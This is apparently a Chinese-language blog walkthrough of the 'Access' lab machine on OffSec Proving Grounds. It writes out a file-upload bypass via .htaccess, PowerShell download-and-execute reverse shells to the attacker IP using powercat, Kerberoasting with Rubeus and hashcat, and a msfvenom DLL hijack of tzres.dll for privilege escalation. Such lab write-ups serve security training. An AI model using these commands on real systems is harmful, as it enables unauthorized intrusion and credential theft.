Proving Grounds Practice : Access Walkthrough

 Proving Grounds Practice : Access Walkthrough

Foothole (立足點 ) :

  • 這是一台 DC,會有 Web 就不太尋常,查看後發現訂票送出介面可以上傳圖像
  • 真實上傳圖像顯示在 /uploads 底下確認可以上傳
  • *.php & *.pHP 等都無法上傳成功,改上傳 *.oscp 發現可以上傳成功
  • 後經由修改 .htaccess 並上傳到同一個路徑下後執行 webshell.oscp 成功開啟
  • 有上傳 php-reverse-shell.oscp 但連線都無法順利成功後改用 webshell.oscp 並執行 powershell RFI 方式拿到 reverse shell 連線成功


PE ( 提權 ) :

  • 拿到 reverse shell 後進行橫向移動,原有帳號 svc_apache 幾乎沒有任何權限與利用
  • 後來使用 rubeus.exe 加上 kerberoast 後發現 svc_mssql 的密碼
  • 第一步使用 asreproast 沒有發現可用帳號
  • 拿到帳號密碼亦無法登入使用,改上傳 Invoke-RunasCs.ps1 使用 Run as 去建立另外一個 reverse shell,成功拿到 svc_mssql 帳號權限的 shell
  • 執行 whoami /priv 發現該帳號有 SeManageVolumePrivilege
  • 下載工具 SeManageVolumeExploit.exe 後執行
  • 跑 winPEASx64.exe 確認可以寫入的路徑發現 C:\windows\ 有多個路徑可以寫入
  • 其中一個經典的 C:\windows\system32\wbem 是 systeminfo 利用 tzres.dll
  • 建立惡意 tzres.dll payload 並上傳到 C:\windows\system32\wbem
  • 執行 systeminfo 後提權成功拿到 nt authority\network service


注意事項 :

  • 檔案上傳鎖死副檔名,除了大小寫修改利用外亦可使用 .htaccess 自行定義副檔名的 content-type 執行方式
  • 亦可以透過 Burp Suite 於檔案上傳時特意修改欺騙 content-type 去上傳
  • php-reverse-shell.php 無法使用時可以替換 webshell.php 再去執行命令建立連線
  • 拿到 inter-active 互動後發現沒有權限要想到利用橫向移動換一個一般使用者帳號也許就有其他特殊的權限
  • 拿到帳號密碼無法透過遠端登入執行時,可以在原有帳號使用 run as 的 ps1 檔案去跑 reverse shell 建立回來
  • 注意 whoami /priv 有 SeManageVolumePrivilege 會有 C:\ 寫入權限的提權方式利用
  • 學到工具 SeManageVolumeExploit.exe 直接利用的方式,記得加上 winPEASx64.exe 去列舉並用 icacls 再次確認
  • systeminfo 執行時會帶入 tzres.dll 是一種標準利用



Kali IP : 192.168.45.222

靶機 IP : 192.168.234.187

第一步掃描 Port 資訊

有開 88 Kerbers 與 3268 LDAP 看來是一台 DC



snmp 沒戲



nmap,└─$ sudo nmap -sCV -A -Pn -p 53,80,88,135,139,389,445,464,593,3268,3269,5985,9389,49666,49668,49673,49674,49677,49701,49795 192.168.234.187 | tee nmap

80 Port 是個 Apache Web Server



nmap LDAP 搜尋看看先,└─$ sudo nmap --script "ldap* and not brute" 192.168.234.187 -p 389 -v -Pn -sT | tee nmap-ldap

網域名稱 : DC=access,DC=offsec



LDAP 搜尋物件看看,└─$ ldapsearch -v -x -b "DC=access,DC=offsec" -H "ldap://192.168.234.187" "(objectclass=*)" | tee ldapsearch-object

沒有甚麼有用的資訊


whatweb 80 看看是啥,└─$ whatweb http://192.168.234.187 | tee whatweb

只知道是個 Apache 與 php 語法的網站



開啟瀏覽器看看 80 /,看起來是個活動公告網站



80 /robots.txt 沒有東西



80 / 可以買活動的票,且可以上傳 Image,感覺是個可利用的爛梗



先 gobuster 看看,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.234.187 -c -t 150 -x txt,pdf,git,php | tee gobuster 

三個有用的路徑 /assets、/forms、/uploads



80 /index.html 看來是一樣的網站



80 /assets,逛了一圈看來都是網頁的素材與 contents



80 /forms



80 /uploads,沒有任何東西但看來就是個圖像上傳的位置



已知是 php 網站直接上傳 reverse shell 試試看



副檔名被拒絕,看來有鎖上傳的檔案副檔名



上傳大小寫變異的檔案試試看



一樣 GG



GIF8; 魔法密碼試試看




還是 GG,看來是鎖檔案的實際副檔名



隨便上傳一個 .oscp 試試看



這一次成功了,看來是有鎖 php 檔案



80 /uploads 可以看到該檔案,確認上傳後是放到這個路徑




後續測試了 php 網站可以執行的 phps、php7 一樣被告知不允許的副檔名

所以要改一樣思考模式,此網站是 php 網站,但是相關 php 網頁檔案都無法成功上傳

隨便上傳一個附檔名是 .oscp 的檔案是可以成功的,但是無法正常執行,點了如下



所以要想一下如何讓 php-reverse-shell.oscp 可以正常執行 php 語法

.oscp 附檔名的 content type 宣告為 php 並寫入到 .htaccess

為什麼這樣可以成功可以參考 How To Bypass Website File Upload Restrictions

以及參考 MIME Type 定義 https://mimeapplication.net/x-httpd-php

所以將使用 x-httpd-php 來定義 oscp 附檔名

echo  "AddType application/x-httpd-php .oscp" > .htaccess





上傳 .htaccess 到同一個路徑



發現可以成功上傳,看來就是這個梗了



80 /uploads,看不到,因為是一個隱藏檔



執行後 reverse shell 有進來但是馬上就斷了



證實改了 .htaccess 告知 .oscp 是 php 語法是有用的,所以改上傳 webshell.oscp 試試看




執行後確認跑了 php webshell 網站


這是一台 Windows 所以 command 要用 powershell 去執行,使用標準的 powershell 建立 reverse shell 成功進來了,指令 powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.222/powercat.ps1'); powercat -c 192.168.45.222 -p 4444 -e powershell"




開始 PE,whoami /priv


上傳 Rebues.exe



查看 asreproasting ,執行 .\Rubeus.exe asreproast /nowrap,看來沒有


查看 kerberoasting,執行 .\Rubeus.exe kerberroast /nowrap,發現 svc_mssql 帳號 HASH



hashcat 破解,└─$ hashcat -m 13100 kerberroast.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force,解出密碼 trustno1


Setspn -L svc_mssql 察看確認有 SPN,服務是 MSSQLSvc/DC.access.offsec


crackmapexec 測試帳號密碼確實有用,但不是管理者
└─$ crackmapexec smb 192.168.234.187 -u svc_mssql -p 'trustno1' -d access.offsec


先下載 Run as Powershell,路徑

powershell -ep bypass

匯入模組 Import-Module .\Invoke-RunasCs.ps1

使用 whoami 來測試一下看看

Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"

成功顯示 svc_mssql 沒問題如下



透過 Run as  ps1 模組跑 svc_mssql 建立一組 reverse shell session 回來
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "Powershell IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.222/powercat.ps1');powercat -c 192.168.45.222 -p 4445 -e cmd"


reverse shell 進來了看一下 whoami,確認現在的權限是 svc_mssql


whoami /priv 看一下發現 [ SeManageVolumePrivilege ],雖然是 Disable 但可以試試看
因為有出現這個一般是有權限可以對 C:\ 底下某目錄有漏洞利用寫入權限


上傳工具 SeManageVolumeExploit.exe

https://github.com/CsEnox/SeManageVolumeExploit/releases 


執行 SeManageVolumeExploit.exe


執行 winPEASx64.exe 查看 write permission 路徑
可以使用 DLL Hijacking 的利用
    (DLL Hijacking) C:\Windows\system32: Users [WriteData/CreateFiles]
    (DLL Hijacking) C:\Windows: Users [WriteData/CreateFiles]
    (DLL Hijacking) C:\Windows\System32\Wbem: Users [WriteData/CreateFiles]
    (DLL Hijacking) C:\Windows\System32\WindowsPowerShell\v1.0\: Users [WriteData/CreateFiles]
    (DLL Hijacking) C:\Windows\System32\OpenSSH\: Users [WriteData/CreateFiles]



要想一下甚麼指令會用 Windows 大權限的方式執行且會去跑甚麼 DLL 來利用
其中有一個路徑是 C:\windows\system32\wbem 這個是經典的 systeminfo 提權利用
所以讓我們先直接利用 systeminfo 會去跑的 DLL [ tzres.dll ],如下


icacls C:\windows\system32\wbeb 確認一下是 full control




建立惡意 DLL payload
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.222 LPORT=4446 -f dll -o tzres.dll


上傳 tzres.dll


copy tzres.dll 到 c:\windows\system32\wbem 路徑下,並查看確認檔案存在


執行 systeminfo 


4446 reverse shell 進來了,whoami 確認權限是 nt authority\network service



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)